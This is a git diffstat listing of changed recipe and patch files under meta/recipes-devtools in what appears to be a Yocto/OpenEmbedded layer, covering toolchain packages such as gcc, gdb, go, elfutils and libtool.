-rw-r--r--meta/recipes-devtools/dpkg/dpkg/0007-dpkg-deb-build.c-Remove-usage-of-clamp-mtime-in-tar.patch16
-rw-r--r--meta/recipes-devtools/dpkg/dpkg/add_armeb_triplet_entry.patch21
-rw-r--r--meta/recipes-devtools/dpkg/dpkg/arch_pm.patch12
-rw-r--r--meta/recipes-devtools/dpkg/dpkg/noman.patch24
-rw-r--r--meta/recipes-devtools/dpkg/dpkg/pager.patch21
-rw-r--r--meta/recipes-devtools/dpkg/dpkg/remove-tar-no-timestamp.patch20
-rw-r--r--meta/recipes-devtools/dpkg/dpkg_1.20.5.bb23
-rw-r--r--meta/recipes-devtools/dpkg/dpkg_1.22.5.bb22
-rw-r--r--meta/recipes-devtools/dwarfsrcfiles/dwarfsrcfiles.bb7
-rw-r--r--meta/recipes-devtools/dwarfsrcfiles/files/dwarfsrcfiles.c13
-rw-r--r--meta/recipes-devtools/e2fsprogs/e2fsprogs.inc16
-rw-r--r--meta/recipes-devtools/e2fsprogs/e2fsprogs/0001-configure.ac-correct-AM_GNU_GETTEXT.patch26
-rw-r--r--meta/recipes-devtools/e2fsprogs/e2fsprogs/0001-fix-up-check-for-hardlinks-always-false-if-inode-0xF.patch55
-rw-r--r--meta/recipes-devtools/e2fsprogs/e2fsprogs/0001-intl-do-not-try-to-use-gettext-defines-that-no-longe.patch27
-rw-r--r--meta/recipes-devtools/e2fsprogs/e2fsprogs/e2fsprogs-fix-missing-check-for-permission-denied.patch4
-rw-r--r--meta/recipes-devtools/e2fsprogs/e2fsprogs/mkdir_p.patch17
-rw-r--r--meta/recipes-devtools/e2fsprogs/e2fsprogs/ptest.patch4
-rw-r--r--meta/recipes-devtools/e2fsprogs/e2fsprogs/quiet-debugfs.patch6
-rw-r--r--meta/recipes-devtools/e2fsprogs/e2fsprogs/run-ptest1
-rw-r--r--meta/recipes-devtools/e2fsprogs/e2fsprogs_1.45.6.bb141
-rw-r--r--meta/recipes-devtools/e2fsprogs/e2fsprogs_1.47.0.bb148
-rw-r--r--meta/recipes-devtools/elfutils/elfutils_0.180.bb144
-rw-r--r--meta/recipes-devtools/elfutils/elfutils_0.191.bb177
-rw-r--r--meta/recipes-devtools/elfutils/files/0001-debuginfod-Remove-unused-variable.patch34
-rw-r--r--meta/recipes-devtools/elfutils/files/0001-dso-link-change.patch19
-rw-r--r--meta/recipes-devtools/elfutils/files/0001-libasm-may-link-with-libbz2-if-found.patch15
-rw-r--r--meta/recipes-devtools/elfutils/files/0001-libelf-elf_end.c-check-data_list.data.d.d_buf-before.patch7
-rw-r--r--meta/recipes-devtools/elfutils/files/0001-musl-obstack-fts.patch124
-rw-r--r--meta/recipes-devtools/elfutils/files/0001-ppc_initreg.c-Incliude-asm-ptrace.h-for-pt_regs-defi.patch32
-rw-r--r--meta/recipes-devtools/elfutils/files/0001-skip-the-test-when-gcc-not-deployed.patch25
-rw-r--r--meta/recipes-devtools/elfutils/files/0001-srcfiles-fix-unused-variable-BUFFER_SIZE.patch36
-rw-r--r--meta/recipes-devtools/elfutils/files/0001-tests-Makefile.am-compile-test_nlist-with-standard-C.patch12
-rw-r--r--meta/recipes-devtools/elfutils/files/0002-Fix-elf_cvt_gunhash-if-dest-and-src-are-same.patch9
-rw-r--r--meta/recipes-devtools/elfutils/files/0002-musl-libs.patch142
-rw-r--r--meta/recipes-devtools/elfutils/files/0003-fixheadercheck.patch7
-rw-r--r--meta/recipes-devtools/elfutils/files/0003-musl-utils.patch96
-rw-r--r--meta/recipes-devtools/elfutils/files/0004-Disable-the-test-to-convert-euc-jp.patch42
-rw-r--r--meta/recipes-devtools/elfutils/files/0004-Fix-error-on-musl.patch36
-rw-r--r--meta/recipes-devtools/elfutils/files/0006-Fix-build-on-aarch64-musl.patch3
-rw-r--r--meta/recipes-devtools/elfutils/files/0015-config-eu.am-do-not-use-Werror.patch36
-rw-r--r--meta/recipes-devtools/elfutils/files/ptest.patch60
-rw-r--r--meta/recipes-devtools/elfutils/files/run-ptest2
-rw-r--r--meta/recipes-devtools/erofs-utils/erofs-utils_1.7.1.bb27
-rw-r--r--meta/recipes-devtools/expect/expect/0001-Add-prototype-to-function-definitions.patch113
-rw-r--r--meta/recipes-devtools/expect/expect/0001-fixline1-fix-line-1.patch31
-rw-r--r--meta/recipes-devtools/expect/expect/01-example-shebang.patch144
-rwxr-xr-xmeta/recipes-devtools/expect/expect/run-ptest6
-rw-r--r--meta/recipes-devtools/expect/expect_5.45.4.bb26
-rw-r--r--meta/recipes-devtools/fdisk/gptfdisk/0001-gptcurses-correctly-include-curses.h.patch6
-rw-r--r--meta/recipes-devtools/fdisk/gptfdisk_1.0.10.bb35
-rw-r--r--meta/recipes-devtools/fdisk/gptfdisk_1.0.5.bb35
-rw-r--r--meta/recipes-devtools/file/file_5.39.bb54
-rw-r--r--meta/recipes-devtools/file/file_5.45.bb61
-rw-r--r--meta/recipes-devtools/file/files/print_c.patch27
-rw-r--r--meta/recipes-devtools/flex/flex/0001-Emit-no-line-directives-if-gen_line_dirs-is-false.patch32
-rw-r--r--meta/recipes-devtools/flex/flex_2.6.4.bb34
-rw-r--r--meta/recipes-devtools/gcc/gcc-10.1.inc121
-rw-r--r--meta/recipes-devtools/gcc/gcc-10.1/0001-aarch64-New-Straight-Line-Speculation-SLS-mitigation.patch202
-rw-r--r--meta/recipes-devtools/gcc/gcc-10.1/0002-aarch64-Introduce-SLS-mitigation-for-RET-and-BR-inst.patch607
-rw-r--r--meta/recipes-devtools/gcc/gcc-10.1/0002-gcc-poison-system-directories.patch200
-rw-r--r--meta/recipes-devtools/gcc/gcc-10.1/0003-aarch64-Mitigate-SLS-for-BLR-instruction.patch658
-rw-r--r--meta/recipes-devtools/gcc/gcc-10.1/0003-gcc-4.3.3-SYSROOT_CFLAGS_FOR_TARGET.patch70
-rw-r--r--meta/recipes-devtools/gcc/gcc-10.1/0004-64-bit-multilib-hack.patch116
-rw-r--r--meta/recipes-devtools/gcc/gcc-10.1/0005-optional-libstdc.patch122
-rw-r--r--meta/recipes-devtools/gcc/gcc-10.1/0006-COLLECT_GCC_OPTIONS.patch35
-rw-r--r--meta/recipes-devtools/gcc/gcc-10.1/0007-Use-the-defaults.h-in-B-instead-of-S-and-t-oe-in-B.patch92
-rw-r--r--meta/recipes-devtools/gcc/gcc-10.1/0008-fortran-cross-compile-hack.patch43
-rw-r--r--meta/recipes-devtools/gcc/gcc-10.1/0009-cpp-honor-sysroot.patch51
-rw-r--r--meta/recipes-devtools/gcc/gcc-10.1/0010-MIPS64-Default-to-N64-ABI.patch54
-rw-r--r--meta/recipes-devtools/gcc/gcc-10.1/0011-Define-GLIBC_DYNAMIC_LINKER-and-UCLIBC_DYNAMIC_LINKE.patch243
-rw-r--r--meta/recipes-devtools/gcc/gcc-10.1/0012-gcc-Fix-argument-list-too-long-error.patch41
-rw-r--r--meta/recipes-devtools/gcc/gcc-10.1/0013-Disable-sdt.patch110
-rw-r--r--meta/recipes-devtools/gcc/gcc-10.1/0014-libtool.patch39
-rw-r--r--meta/recipes-devtools/gcc/gcc-10.1/0015-gcc-armv4-pass-fix-v4bx-to-linker-to-support-EABI.patch40
-rw-r--r--meta/recipes-devtools/gcc/gcc-10.1/0016-Use-the-multilib-config-files-from-B-instead-of-usin.patch99
-rw-r--r--meta/recipes-devtools/gcc/gcc-10.1/0017-Avoid-using-libdir-from-.la-which-usually-points-to-.patch28
-rw-r--r--meta/recipes-devtools/gcc/gcc-10.1/0018-export-CPP.patch50
-rw-r--r--meta/recipes-devtools/gcc/gcc-10.1/0019-Ensure-target-gcc-headers-can-be-included.patch57
-rw-r--r--meta/recipes-devtools/gcc/gcc-10.1/0020-Don-t-search-host-directory-during-relink-if-inst_pr.patch35
-rw-r--r--meta/recipes-devtools/gcc/gcc-10.1/0021-Use-SYSTEMLIBS_DIR-replacement-instead-of-hardcoding.patch26
-rw-r--r--meta/recipes-devtools/gcc/gcc-10.1/0022-aarch64-Add-support-for-musl-ldso.patch25
-rw-r--r--meta/recipes-devtools/gcc/gcc-10.1/0023-libcc1-fix-libcc1-s-install-path-and-rpath.patch51
-rw-r--r--meta/recipes-devtools/gcc/gcc-10.1/0024-handle-sysroot-support-for-nativesdk-gcc.patch346
-rw-r--r--meta/recipes-devtools/gcc/gcc-10.1/0025-Search-target-sysroot-gcc-version-specific-dirs-with.patch99
-rw-r--r--meta/recipes-devtools/gcc/gcc-10.1/0026-Fix-various-_FOR_BUILD-and-related-variables.patch134
-rw-r--r--meta/recipes-devtools/gcc/gcc-10.1/0027-nios2-Define-MUSL_DYNAMIC_LINKER.patch25
-rw-r--r--meta/recipes-devtools/gcc/gcc-10.1/0028-Add-ssp_nonshared-to-link-commandline-for-musl-targe.patch84
-rw-r--r--meta/recipes-devtools/gcc/gcc-10.1/0029-Link-libgcc-using-LDFLAGS-not-just-SHLIB_LDFLAGS.patch26
-rw-r--r--meta/recipes-devtools/gcc/gcc-10.1/0030-sync-gcc-stddef.h-with-musl.patch88
-rw-r--r--meta/recipes-devtools/gcc/gcc-10.1/0031-fix-segmentation-fault-in-precompiled-header-generat.patch57
-rw-r--r--meta/recipes-devtools/gcc/gcc-10.1/0032-Fix-for-testsuite-failure.patch255
-rw-r--r--meta/recipes-devtools/gcc/gcc-10.1/0033-Re-introduce-spe-commandline-options.patch38
-rw-r--r--meta/recipes-devtools/gcc/gcc-10.1/0034-libgcc_s-Use-alias-for-__cpu_indicator_init-instead-.patch83
-rw-r--r--meta/recipes-devtools/gcc/gcc-10.1/0035-gentypes-genmodes-Do-not-use-__LINE__-for-maintainin.patch182
-rw-r--r--meta/recipes-devtools/gcc/gcc-10.1/0036-Enable-CET-in-cross-compiler-if-possible.patch150
-rw-r--r--meta/recipes-devtools/gcc/gcc-10.1/0037-mingw32-Enable-operation_not_supported.patch26
-rw-r--r--meta/recipes-devtools/gcc/gcc-10.1/0038-libatomic-Do-not-enforce-march-on-aarch64.patch42
-rw-r--r--meta/recipes-devtools/gcc/gcc-10.1/pr96130.patch106
-rw-r--r--meta/recipes-devtools/gcc/gcc-13.2.inc119
-rw-r--r--meta/recipes-devtools/gcc/gcc-common.inc24
-rw-r--r--meta/recipes-devtools/gcc/gcc-configure-common.inc25
-rw-r--r--meta/recipes-devtools/gcc/gcc-cross-canadian.inc59
-rw-r--r--meta/recipes-devtools/gcc/gcc-cross-canadian_13.2.bb (renamed from meta/recipes-devtools/gcc/gcc-cross-canadian_10.1.bb)0
-rw-r--r--meta/recipes-devtools/gcc/gcc-cross.inc21
-rw-r--r--meta/recipes-devtools/gcc/gcc-cross_13.2.bb (renamed from meta/recipes-devtools/gcc/gcc-cross_10.1.bb)0
-rw-r--r--meta/recipes-devtools/gcc/gcc-crosssdk.inc6
-rw-r--r--meta/recipes-devtools/gcc/gcc-crosssdk_13.2.bb (renamed from meta/recipes-devtools/gcc/gcc-crosssdk_10.1.bb)0
-rw-r--r--meta/recipes-devtools/gcc/gcc-multilib-config.inc34
-rw-r--r--meta/recipes-devtools/gcc/gcc-runtime.inc170
-rw-r--r--meta/recipes-devtools/gcc/gcc-runtime_13.2.bb (renamed from meta/recipes-devtools/gcc/gcc-runtime_10.1.bb)0
-rw-r--r--meta/recipes-devtools/gcc/gcc-sanitizers.inc71
-rw-r--r--meta/recipes-devtools/gcc/gcc-sanitizers_10.1.bb7
-rw-r--r--meta/recipes-devtools/gcc/gcc-sanitizers_13.2.bb7
-rw-r--r--meta/recipes-devtools/gcc/gcc-shared-source.inc10
-rw-r--r--meta/recipes-devtools/gcc/gcc-source.inc10
-rw-r--r--meta/recipes-devtools/gcc/gcc-source_13.2.bb (renamed from meta/recipes-devtools/gcc/gcc-source_10.1.bb)0
-rw-r--r--meta/recipes-devtools/gcc/gcc-target.inc68
-rw-r--r--meta/recipes-devtools/gcc/gcc-testsuite.inc9
-rw-r--r--meta/recipes-devtools/gcc/gcc/0001-gcc-4.3.1-ARCH_FLAGS_FOR_TARGET.patch (renamed from meta/recipes-devtools/gcc/gcc-10.1/0001-gcc-4.3.1-ARCH_FLAGS_FOR_TARGET.patch)10
-rw-r--r--meta/recipes-devtools/gcc/gcc/0002-gcc-poison-system-directories.patch226
-rw-r--r--meta/recipes-devtools/gcc/gcc/0003-64-bit-multilib-hack.patch201
-rw-r--r--meta/recipes-devtools/gcc/gcc/0004-Pass-CXXFLAGS_FOR_BUILD-in-a-couple-of-places-to-avo.patch64
-rw-r--r--meta/recipes-devtools/gcc/gcc/0005-Use-the-defaults.h-in-B-instead-of-S-and-t-oe-in-B.patch92
-rw-r--r--meta/recipes-devtools/gcc/gcc/0006-cpp-honor-sysroot.patch53
-rw-r--r--meta/recipes-devtools/gcc/gcc/0007-Define-GLIBC_DYNAMIC_LINKER-and-UCLIBC_DYNAMIC_LINKE.patch403
-rw-r--r--meta/recipes-devtools/gcc/gcc/0008-libtool.patch38
-rw-r--r--meta/recipes-devtools/gcc/gcc/0009-gcc-armv4-pass-fix-v4bx-to-linker-to-support-EABI.patch39
-rw-r--r--meta/recipes-devtools/gcc/gcc/0010-Use-the-multilib-config-files-from-B-instead-of-usin.patch99
-rw-r--r--meta/recipes-devtools/gcc/gcc/0011-aarch64-Fix-include-paths-when-S-B.patch55
-rw-r--r--meta/recipes-devtools/gcc/gcc/0012-Avoid-using-libdir-from-.la-which-usually-points-to-.patch28
-rw-r--r--meta/recipes-devtools/gcc/gcc/0013-Ensure-target-gcc-headers-can-be-included.patch113
-rw-r--r--meta/recipes-devtools/gcc/gcc/0014-Don-t-search-host-directory-during-relink-if-inst_pr.patch35
-rw-r--r--meta/recipes-devtools/gcc/gcc/0015-libcc1-fix-libcc1-s-install-path-and-rpath.patch51
-rw-r--r--meta/recipes-devtools/gcc/gcc/0016-handle-sysroot-support-for-nativesdk-gcc.patch514
-rw-r--r--meta/recipes-devtools/gcc/gcc/0017-Search-target-sysroot-gcc-version-specific-dirs-with.patch100
-rw-r--r--meta/recipes-devtools/gcc/gcc/0018-Add-ssp_nonshared-to-link-commandline-for-musl-targe.patch84
-rw-r--r--meta/recipes-devtools/gcc/gcc/0019-Re-introduce-spe-commandline-options.patch39
-rw-r--r--meta/recipes-devtools/gcc/gcc/0020-libgcc_s-Use-alias-for-__cpu_indicator_init-instead-.patch83
-rw-r--r--meta/recipes-devtools/gcc/gcc/0021-gentypes-genmodes-Do-not-use-__LINE__-for-maintainin.patch182
-rw-r--r--meta/recipes-devtools/gcc/gcc/0022-libatomic-Do-not-enforce-march-on-aarch64.patch42
-rw-r--r--meta/recipes-devtools/gcc/gcc/0023-Fix-install-path-of-linux64.h.patch31
-rw-r--r--meta/recipes-devtools/gcc/gcc/0024-Avoid-hardcoded-build-paths-into-ppc-libgcc.patch28
-rw-r--r--meta/recipes-devtools/gcc/gcc/0025-gcc-testsuite-tweaks-for-mips-OE.patch233
-rw-r--r--meta/recipes-devtools/gcc/gcc/0026-aarch64-Fix-loose-ldpstp-check-PR111411.patch117
-rw-r--r--meta/recipes-devtools/gcc/gcc/0027-Fix-gcc-vect-module-testcases.patch26
-rw-r--r--meta/recipes-devtools/gcc/gcc/CVE-2023-4039.patch3093
-rw-r--r--meta/recipes-devtools/gcc/gcc_10.1.bb14
-rw-r--r--meta/recipes-devtools/gcc/gcc_13.2.bb14
-rw-r--r--meta/recipes-devtools/gcc/libgcc-common.inc23
-rw-r--r--meta/recipes-devtools/gcc/libgcc-initial.inc6
-rw-r--r--meta/recipes-devtools/gcc/libgcc-initial_10.1.bb5
-rw-r--r--meta/recipes-devtools/gcc/libgcc-initial_13.2.bb5
-rw-r--r--meta/recipes-devtools/gcc/libgcc.inc12
-rw-r--r--meta/recipes-devtools/gcc/libgcc_10.1.bb5
-rw-r--r--meta/recipes-devtools/gcc/libgcc_13.2.bb7
-rw-r--r--meta/recipes-devtools/gcc/libgfortran.inc19
-rw-r--r--meta/recipes-devtools/gcc/libgfortran_13.2.bb (renamed from meta/recipes-devtools/gcc/libgfortran_10.1.bb)0
-rw-r--r--meta/recipes-devtools/gdb/gdb-9.2.inc21
-rw-r--r--meta/recipes-devtools/gdb/gdb-common.inc40
-rw-r--r--meta/recipes-devtools/gdb/gdb-cross-canadian.inc14
-rw-r--r--meta/recipes-devtools/gdb/gdb-cross-canadian_14.2.bb3
-rw-r--r--meta/recipes-devtools/gdb/gdb-cross-canadian_9.2.bb3
-rw-r--r--meta/recipes-devtools/gdb/gdb-cross.inc9
-rw-r--r--meta/recipes-devtools/gdb/gdb-cross_14.2.bb2
-rw-r--r--meta/recipes-devtools/gdb/gdb-cross_9.2.bb2
-rw-r--r--meta/recipes-devtools/gdb/gdb.inc29
-rw-r--r--meta/recipes-devtools/gdb/gdb/0001-make-man-install-relative-to-DESTDIR.patch25
-rw-r--r--meta/recipes-devtools/gdb/gdb/0001-mips-linux-nat-Define-_ABIO32-if-not-defined.patch32
-rw-r--r--meta/recipes-devtools/gdb/gdb/0002-mips-linux-nat-Define-_ABIO32-if-not-defined.patch32
-rw-r--r--meta/recipes-devtools/gdb/gdb/0002-ppc-ptrace-Define-pt_regs-uapi_pt_regs-on-GLIBC-syst.patch49
-rw-r--r--meta/recipes-devtools/gdb/gdb/0003-Dont-disable-libreadline.a-when-using-disable-static.patch47
-rw-r--r--meta/recipes-devtools/gdb/gdb/0003-ppc-ptrace-Define-pt_regs-uapi_pt_regs-on-GLIBC-syst.patch49
-rw-r--r--meta/recipes-devtools/gdb/gdb/0004-Add-support-for-Renesas-SH-sh4-architecture.patch911
-rw-r--r--meta/recipes-devtools/gdb/gdb/0004-use-asm-sgidefs.h.patch33
-rw-r--r--meta/recipes-devtools/gdb/gdb/0005-Change-order-of-CFLAGS.patch27
-rw-r--r--meta/recipes-devtools/gdb/gdb/0005-Dont-disable-libreadline.a-when-using-disable-static.patch47
-rw-r--r--meta/recipes-devtools/gdb/gdb/0006-resolve-restrict-keyword-conflict.patch45
-rw-r--r--meta/recipes-devtools/gdb/gdb/0006-use-asm-sgidefs.h.patch33
-rw-r--r--meta/recipes-devtools/gdb/gdb/0007-Fix-invalid-sigprocmask-call.patch46
-rw-r--r--meta/recipes-devtools/gdb/gdb/0007-Use-exorted-definitions-of-SIGRTMIN.patch47
-rw-r--r--meta/recipes-devtools/gdb/gdb/0008-Change-order-of-CFLAGS.patch27
-rw-r--r--meta/recipes-devtools/gdb/gdb/0008-Define-alignof-using-_Alignof-when-using-C11-or-newe.patch48
-rw-r--r--meta/recipes-devtools/gdb/gdb/0009-resolve-restrict-keyword-conflict.patch45
-rw-r--r--meta/recipes-devtools/gdb/gdb/0010-Fix-invalid-sigprocmask-call.patch46
-rw-r--r--meta/recipes-devtools/gdb/gdb/0011-gdbserver-ctrl-c-handling.patch39
-rw-r--r--meta/recipes-devtools/gdb/gdb_14.2.bb39
-rw-r--r--meta/recipes-devtools/gdb/gdb_9.2.bb28
-rw-r--r--meta/recipes-devtools/git/git.inc137
-rw-r--r--meta/recipes-devtools/git/git/0001-config.mak.uname-do-not-force-RHEL-7-specific-build-.patch30
-rw-r--r--meta/recipes-devtools/git/git/fixsort.patch31
-rw-r--r--meta/recipes-devtools/git/git_2.28.0.bb9
-rw-r--r--meta/recipes-devtools/git/git_2.44.0.bb166
-rw-r--r--meta/recipes-devtools/glide/glide_0.13.3.bb42
-rw-r--r--meta/recipes-devtools/gnu-config/gnu-config_git.bb13
-rw-r--r--meta/recipes-devtools/go/go-1.14.inc21
-rw-r--r--meta/recipes-devtools/go/go-1.14/0001-allow-CC-and-CXX-to-have-multiple-words.patch33
-rw-r--r--meta/recipes-devtools/go/go-1.14/0002-cmd-go-make-content-based-hash-generation-less-pedan.patch219
-rw-r--r--meta/recipes-devtools/go/go-1.14/0003-allow-GOTOOLDIR-to-be-overridden-in-the-environment.patch47
-rw-r--r--meta/recipes-devtools/go/go-1.14/0004-ld-add-soname-to-shareable-objects.patch45
-rw-r--r--meta/recipes-devtools/go/go-1.14/0005-make.bash-override-CC-when-building-dist-and-go_boot.patch39
-rw-r--r--meta/recipes-devtools/go/go-1.14/0006-cmd-dist-separate-host-and-target-builds.patch274
-rw-r--r--meta/recipes-devtools/go/go-1.14/0007-cmd-go-make-GOROOT-precious-by-default.patch104
-rw-r--r--meta/recipes-devtools/go/go-1.14/0008-use-GOBUILDMODE-to-set-buildmode.patch42
-rw-r--r--meta/recipes-devtools/go/go-1.14/0009-ld-replace-glibc-dynamic-linker-with-musl.patch115
-rw-r--r--meta/recipes-devtools/go/go-1.22.2.inc18
-rw-r--r--meta/recipes-devtools/go/go-binary-native_1.14.6.bb46
-rw-r--r--meta/recipes-devtools/go/go-binary-native_1.22.2.bb50
-rw-r--r--meta/recipes-devtools/go/go-common.inc11
-rw-r--r--meta/recipes-devtools/go/go-cross-canadian.inc15
-rw-r--r--meta/recipes-devtools/go/go-cross-canadian_1.22.2.bb (renamed from meta/recipes-devtools/go/go-cross-canadian_1.14.bb)0
-rw-r--r--meta/recipes-devtools/go/go-cross.inc1
-rw-r--r--meta/recipes-devtools/go/go-cross_1.22.2.bb (renamed from meta/recipes-devtools/go/go-cross_1.14.bb)0
-rw-r--r--meta/recipes-devtools/go/go-crosssdk.inc7
-rw-r--r--meta/recipes-devtools/go/go-crosssdk_1.22.2.bb (renamed from meta/recipes-devtools/go/go-crosssdk_1.14.bb)0
-rw-r--r--meta/recipes-devtools/go/go-dep/0001-Add-support-for-mips-mips64.patch54
-rw-r--r--meta/recipes-devtools/go/go-dep/0001-Update-sys-module-to-latest.patch145574
-rw-r--r--meta/recipes-devtools/go/go-dep/0001-bolt_riscv64-Add-support-for-riscv64.patch33
-rw-r--r--meta/recipes-devtools/go/go-dep_0.5.4.bb30
-rw-r--r--meta/recipes-devtools/go/go-native_1.14.bb60
-rw-r--r--meta/recipes-devtools/go/go-native_1.22.2.bb58
-rw-r--r--meta/recipes-devtools/go/go-runtime.inc25
-rw-r--r--meta/recipes-devtools/go/go-runtime_1.14.bb3
-rw-r--r--meta/recipes-devtools/go/go-runtime_1.22.2.bb3
-rw-r--r--meta/recipes-devtools/go/go-target.inc28
-rw-r--r--meta/recipes-devtools/go/go/0001-cmd-go-make-content-based-hash-generation-less-pedan.patch168
-rw-r--r--meta/recipes-devtools/go/go/0002-cmd-go-Allow-GOTOOLDIR-to-be-overridden-in-the-envir.patch56
-rw-r--r--meta/recipes-devtools/go/go/0003-ld-add-soname-to-shareable-objects.patch51
-rw-r--r--meta/recipes-devtools/go/go/0004-make.bash-override-CC-when-building-dist-and-go_boot.patch45
-rw-r--r--meta/recipes-devtools/go/go/0005-cmd-dist-separate-host-and-target-builds.patch221
-rw-r--r--meta/recipes-devtools/go/go/0006-cmd-go-make-GOROOT-precious-by-default.patch114
-rw-r--r--meta/recipes-devtools/go/go/0007-exec.go-filter-out-build-specific-paths-from-linker-.patch61
-rw-r--r--meta/recipes-devtools/go/go/0008-src-cmd-dist-buildgo.go-do-not-hardcode-host-compile.patch46
-rw-r--r--meta/recipes-devtools/go/go/0009-go-Filter-build-paths-on-staticly-linked-arches.patch61
-rw-r--r--meta/recipes-devtools/go/go_1.14.bb14
-rw-r--r--meta/recipes-devtools/go/go_1.22.2.bb18
-rw-r--r--meta/recipes-devtools/help2man/help2man-native_1.47.15.bb23
-rw-r--r--meta/recipes-devtools/help2man/help2man_1.49.3.bb24
-rw-r--r--meta/recipes-devtools/i2c-tools/i2c-tools_4.1.bb43
-rw-r--r--meta/recipes-devtools/i2c-tools/i2c-tools_4.3.bb43
-rw-r--r--meta/recipes-devtools/icecc-create-env/icecc-create-env_0.1.bb8
-rw-r--r--meta/recipes-devtools/icecc-toolchain/nativesdk-icecc-toolchain_0.1.bb5
-rw-r--r--meta/recipes-devtools/intltool/intltool_0.51.0.bb24
-rw-r--r--meta/recipes-devtools/jquery/jquery_3.5.1.bb33
-rw-r--r--meta/recipes-devtools/jquery/jquery_3.7.1.bb38
-rw-r--r--meta/recipes-devtools/json-c/json-c/run-ptest20
-rw-r--r--meta/recipes-devtools/json-c/json-c_0.15.bb18
-rw-r--r--meta/recipes-devtools/json-c/json-c_0.17.bb34
-rw-r--r--meta/recipes-devtools/libcomps/libcomps/0001-Add-crc32.c-to-sources-list.patch50
-rw-r--r--meta/recipes-devtools/libcomps/libcomps/0002-Do-not-set-PYTHON_INSTALL_DIR-by-running-python.patch10
-rw-r--r--meta/recipes-devtools/libcomps/libcomps_0.1.15.bb22
-rw-r--r--meta/recipes-devtools/libcomps/libcomps_0.1.21.bb25
-rw-r--r--meta/recipes-devtools/libdnf/libdnf/0001-Add-WITH_TESTS-option.patch49
-rw-r--r--meta/recipes-devtools/libdnf/libdnf/0001-FindGtkDoc.cmake-drop-the-requirement-for-GTKDOC_SCA.patch9
-rw-r--r--meta/recipes-devtools/libdnf/libdnf/0001-Get-parameters-for-both-libsolv-and-libsolvext-libdn.patch11
-rw-r--r--meta/recipes-devtools/libdnf/libdnf/0001-Look-fo-sphinx-only-if-documentation-is-actually-ena.patch42
-rw-r--r--meta/recipes-devtools/libdnf/libdnf/0001-drop-FindPythonInstDir.cmake.patch39
-rw-r--r--meta/recipes-devtools/libdnf/libdnf/0004-Set-libsolv-variables-with-pkg-config-cmake-s-own-mo.patch13
-rw-r--r--meta/recipes-devtools/libdnf/libdnf/armarch.patch50
-rw-r--r--meta/recipes-devtools/libdnf/libdnf/enable_test_data_dir_set.patch15
-rw-r--r--meta/recipes-devtools/libdnf/libdnf_0.48.0.bb34
-rw-r--r--meta/recipes-devtools/libdnf/libdnf_0.73.1.bb36
-rw-r--r--meta/recipes-devtools/libedit/libedit_20191231-3.1.bb25
-rw-r--r--meta/recipes-devtools/libedit/libedit_20230828-3.1.bb24
-rw-r--r--meta/recipes-devtools/libmodulemd/libmodulemd/0001-modulemd-generate-the-manpage-only-if-the-feature-is.patch28
-rw-r--r--meta/recipes-devtools/libmodulemd/libmodulemd_git.bb18
-rw-r--r--meta/recipes-devtools/librepo/librepo/0001-gpg_gpgme.c-fix-build-errors-with-older-gcc.patch36
-rw-r--r--meta/recipes-devtools/librepo/librepo/0002-Do-not-try-to-obtain-PYTHON_INSTALL_DIR-by-running-p.patch48
-rw-r--r--meta/recipes-devtools/librepo/librepo/0004-Set-gpgme-variables-with-pkg-config-not-with-cmake-m.patch23
-rw-r--r--meta/recipes-devtools/librepo/librepo_1.12.0.bb27
-rw-r--r--meta/recipes-devtools/librepo/librepo_1.17.0.bb31
-rw-r--r--meta/recipes-devtools/libtool/libtool-2.4.6.inc49
-rw-r--r--meta/recipes-devtools/libtool/libtool-2.4.7.inc52
-rw-r--r--meta/recipes-devtools/libtool/libtool-cross_2.4.6.bb48
-rw-r--r--meta/recipes-devtools/libtool/libtool-cross_2.4.7.bb50
-rw-r--r--meta/recipes-devtools/libtool/libtool-native_2.4.6.bb22
-rw-r--r--meta/recipes-devtools/libtool/libtool-native_2.4.7.bb20
-rw-r--r--meta/recipes-devtools/libtool/libtool/0001-libtool-Check-for-static-libs-for-internal-compiler-.patch37
-rw-r--r--meta/recipes-devtools/libtool/libtool/0001-libtool-Fix-support-for-NIOS2-processor.patch68
-rw-r--r--meta/recipes-devtools/libtool/libtool/0001-ltmain.in-Handle-trailing-slashes-on-install-command.patch39
-rw-r--r--meta/recipes-devtools/libtool/libtool/0001-ltmain.in-Parse-additional-clang-options.patch33
-rw-r--r--meta/recipes-devtools/libtool/libtool/0002-libtool.m4-Rename-the-with-sysroot-option-to-avoid-c.patch170
-rw-r--r--meta/recipes-devtools/libtool/libtool/0003-libtool.m4-Cleanup-sysroot-trailing.patch37
-rw-r--r--meta/recipes-devtools/libtool/libtool/0003-ltmain.in-Add-missing-sysroot-to-library-path.patch28
-rw-r--r--meta/recipes-devtools/libtool/libtool/0004-ltmain.sh-Fix-sysroot-paths-being-encoded-into-RPATH.patch54
-rw-r--r--meta/recipes-devtools/libtool/libtool/0005-ltmain.in-Don-t-encode-RATHS-which-match-default-lin.patch76
-rw-r--r--meta/recipes-devtools/libtool/libtool/0006-libtool.m4-Handle-as-a-sysroot-correctly.patch38
-rw-r--r--meta/recipes-devtools/libtool/libtool/0007-libtool-Fix-support-for-NIOS2-processor.patch60
-rw-r--r--meta/recipes-devtools/libtool/libtool/0008-libtool-Check-for-static-libs-for-internal-compiler-.patch33
-rw-r--r--meta/recipes-devtools/libtool/libtool/0009-Makefile.am-make-sure-autoheader-run-before-autoconf.patch31
-rw-r--r--meta/recipes-devtools/libtool/libtool/0010-Makefile.am-make-sure-autoheader-run-before-automake.patch33
-rw-r--r--meta/recipes-devtools/libtool/libtool/0011-ltmain.in-Handle-prefix-map-compiler-options-correct.patch37
-rw-r--r--meta/recipes-devtools/libtool/libtool/0012-libtool.m4-For-reproducibility-stop-encoding-hostnam.patch29
-rwxr-xr-xmeta/recipes-devtools/libtool/libtool/debian-no_hostname.patch21
-rw-r--r--meta/recipes-devtools/libtool/libtool/dont-depend-on-help2man.patch3
-rw-r--r--meta/recipes-devtools/libtool/libtool/fix-final-rpath.patch50
-rw-r--r--meta/recipes-devtools/libtool/libtool/fix-resolve-lt-sysroot.patch42
-rw-r--r--meta/recipes-devtools/libtool/libtool/fix-rpath.patch65
-rw-r--r--meta/recipes-devtools/libtool/libtool/fixinstall.patch6
-rw-r--r--meta/recipes-devtools/libtool/libtool/norm-rpath.patch38
-rw-r--r--meta/recipes-devtools/libtool/libtool/prefix.patch98
-rw-r--r--meta/recipes-devtools/libtool/libtool/rename-with-sysroot.patch166
-rw-r--r--meta/recipes-devtools/libtool/libtool/trailingslash.patch35
-rw-r--r--meta/recipes-devtools/libtool/libtool/unwind-opt-parsing.patch179
-rw-r--r--meta/recipes-devtools/libtool/libtool/use-sysroot-in-libpath.patch22
